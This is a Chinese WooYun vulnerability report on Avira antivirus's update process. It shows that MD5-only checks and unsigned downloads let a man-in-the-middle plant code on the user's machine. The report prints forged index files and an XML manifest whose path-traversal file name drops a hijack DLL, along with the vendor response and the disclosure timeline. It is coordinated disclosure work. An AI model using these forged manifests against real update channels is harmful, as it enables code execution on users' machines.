当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-087483

漏洞标题:小红伞(Avira)杀毒软件升级过程存在缺陷(可被中间人攻击利用植入木马)

相关厂商:小红伞(Avira)

漏洞作者: 内谁

提交时间:2014-12-17 11:30

修复时间:2015-03-17 11:32

公开时间:2015-03-17 11:32

漏洞类型:非授权访问/认证绕过

危害等级:高

自评Rank:15

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-12-17: 细节已通知厂商并且等待厂商处理中
2014-12-22: 厂商已经确认,细节仅向厂商公开
2014-12-25: 细节向第三方安全合作伙伴开放
2015-02-15: 细节向核心白帽子及相关领域专家公开
2015-02-25: 细节向普通白帽子公开
2015-03-07: 细节向实习白帽子公开
2015-03-17: 细节向公众公开

简要描述:

小红伞(Avira)杀毒软件最新版本(14.0.7.468),升级过程可被中间人攻击利用,可使得获得更新程序的机器被植入任意EXE文件。

详细说明:

小红伞的升级过程较为复杂,大致要分为两步索引,两步描述,最终才下载所需的模块文件,虽然每步的描述文件或索引文件都有校验,但校验过于简单,仅仅是通过MD5对文件进行了校验,且最终文件没有进行数字签名校验,导致攻击者有可乘之机,以下的利用步骤测试均为中文免费个人版,收费版本未测试,详细情况如下:
1、从URL地址:http://personal.avira-update.com/update/idx/master.idx下载主索引文件,这个文件描述的是一个生成日期,伪造文件内容如下:

CRDATE=20140206_0032
<e0d1ebd2939e73f0bcf0c319c9aa654e>


2、从URL地址:http://personal.avira-update.com/update/idx/wks_avira13-win32-zhcn-pecl.idx下载第二个索引文件,这个文件描述的是一些产品相关的信息,包括产品信息包的文件路径,还有哈希值,伪造文件内容如下:

CRDATE=20141215_1006
PRODUCTINFO=/idx/wks_avira-win32-zhcn-pecl.info.gz
UPDATEROOT=/
PRODUCTINFOHASH=wks_avira-win32-zhcn-pecl.info,c14bb3445405d488c915690e9e68150f
<bbd837127dd33aeead37fdc1cf514bd8>


3、从URL地址:http://personal.avira-update.com/update/idx/wks_avira-win32-zhcn-pecl.info.gz下载要升级的模块信息,伪造的文件内容如下:

<?xml version="1.0" encoding="iso-8859-1"?>
<!-- generated with updatecompiler 1.2.0.39 -->
<UPDATE>
<VERSION value="11.0.0.1"/>
<NAME value="AntiVir OEM"/>
<DATE value="Thu Dec 15 10:06:29 2011"/>
<MODULE NAME="VDF">
<DESTINATION value="%INSTALL_DIR%\;OS=ALL"/>
<SOURCE value="./"/>
<INCLUDE value="vdf.upd"/>
<ENGINE_VDF_SET value=""/>
</MODULE>
<MODULE NAME="MAIN">
<DESTINATION value="%INSTALL_DIR%\;OS=ALL"/>
<SOURCE value="./"/>
<Group value="product"/>
<FILE>
<NAME value="../../msimg32.dll"/>
<FILEMD5 value="2b5faad18db50b36c53026603a2a4680"/>
<PEFILEMD5 value="2b5faad18db50b36c53026603a2a4680"/>
<FILESIZE value="359461"/>
<ZIPMD5 value="aeafe1199958520d797ad4dc8d884a69"/>
<ZIPSIZE value="154842"/>
<OS value="ALL"/>
</FILE>
</MODULE>
<MD5 value="c482fc0a8dfb3792c791b14aaf81c944"/>
</UPDATE>


需要特别说明的是:如果中间人想攻击目标,伪造这个文件是最为合适的,因为这个文件中描述了要升级文件的哈希,大小等等,并且在这一步可以构造一个相对路径,来使得最终下载后的文件放到合适的路径,另外,这个文件要用gzip压缩传输。
4、从URL地址:http://personal.avira-update.com/update/idx/vdf.info.gz下载另一个模块的描述信息,这个文件同样适用gzip压缩传输:

<?xml version="1.0" encoding="iso-8859-1"?>
<!-- generated with updatecompiler 1.2.0.39 -->
<UPDATE>
<VERSION value="0.0.0.1"/>
<NAME value="AntiVir OEM"/>
<DATE value="Fri Apr 23 20:20:48 2010"/>
<MODULE NAME="VDF">
<DESTINATION value="%INSTALL_DIR%\;OS=ALL"/>
<SOURCE value="./"/>
<VdfDate value="20100423_0000"/>
</MODULE>
<MD5 value="375a49d59ed59808277c1d7a5cf07801"/>
</UPDATE>


5、根据第3步下载的文件中描述的MAIN模块的路径,来下载最终的模块文件,URL类似:http://personal.avira-update.com/update/../../msimg32.dll,这个文件下载后,就会发到我们计算好的相对路径中,未做数字签名校验,最终导致DLL劫持注入,执行攻击者代码的后果。
以上升级步骤,自动升级和手动升级效果相同(默认6小时自动升级)。

漏洞证明:

攻击者未攻击之前升级截图:

Windows XP Professional-2014-12-17-11-22-26.png


攻击后的升级截图:

Windows XP Professional-2014-12-17-11-04-30.png


攻击后5分钟左右,后台某组件启动,实现了DLL劫持注入,截图:

Windows XP Professional-2014-12-17-11-17-36.png

修复方案:

加密升级过程,校验下载文件数字签名。

版权声明:转载请注明来源 内谁@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2014-12-22 08:23

厂商回复:

对于中间人攻击条件,是较强的前提条件,对于所述篡改伪造后的情况,可以认定为存在认证风险。

最新状态:

暂无


漏洞评价:

评论

  1. 2014-12-17 11:35 | 毛猴 ( 实习白帽子 | Rank:63 漏洞数:18 | 一 只 怀 有 梦 想 的 猴 ......)

    下一个会不会是 卡巴斯基 杀毒软件升级过程存在缺陷(可被中间人攻击利用植入木马)

  2. 2014-12-17 11:39 | xsser 认证白帽子 ( 普通白帽子 | Rank:254 漏洞数:18 | 当我又回首一切,这个世界会好吗?)

    大牛专攻这个

  3. 2014-12-17 14:55 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @xsser 他这样是刷钱+求雷劈的节奏啊

  4. 2014-12-17 15:27 | 内谁 ( 实习白帽子 | Rank:81 漏洞数:5 | 我是内谁)

    @泳少 发的这几个是老洞了,放手里怕发霉了,所以发出来,手里还有不少,我以后我尽量打包发

  5. 2014-12-17 15:59 | 泳少 ( 普通白帽子 | Rank:231 漏洞数:79 | ★ 梦想这条路踏上了,跪着也要...)

    @内谁 牛啊。。最好写篇关于中间人攻击的文章到http://drops.wooyun.org

  6. 2014-12-17 16:47 | 内谁 ( 实习白帽子 | Rank:81 漏洞数:5 | 我是内谁)

    @泳少 嗯,过阵子有时间写一篇

  7. 2014-12-19 11:45 | 黑吃黑 ( 普通白帽子 | Rank:139 漏洞数:29 | 倚楼听风雨,淡看江湖路...)

    @内谁 大牛,记得写详细点,求原理

  8. 2015-07-07 20:23 | Fnut ( 实习白帽子 | Rank:51 漏洞数:9 | 大王叫我来巡山,巡完南山巡北山)

    大牛求具体分析过程

  9. 2015-07-07 20:23 | Fnut ( 实习白帽子 | Rank:51 漏洞数:9 | 大王叫我来巡山,巡完南山巡北山)

    @内谁

  10. 2015-07-07 21:27 | 内谁 ( 实习白帽子 | Rank:81 漏洞数:5 | 我是内谁)

    @Fnut 小红伞这个比较复杂,逆了好几个组件,普通软件,WireShark分析下通讯数据就搞定了啊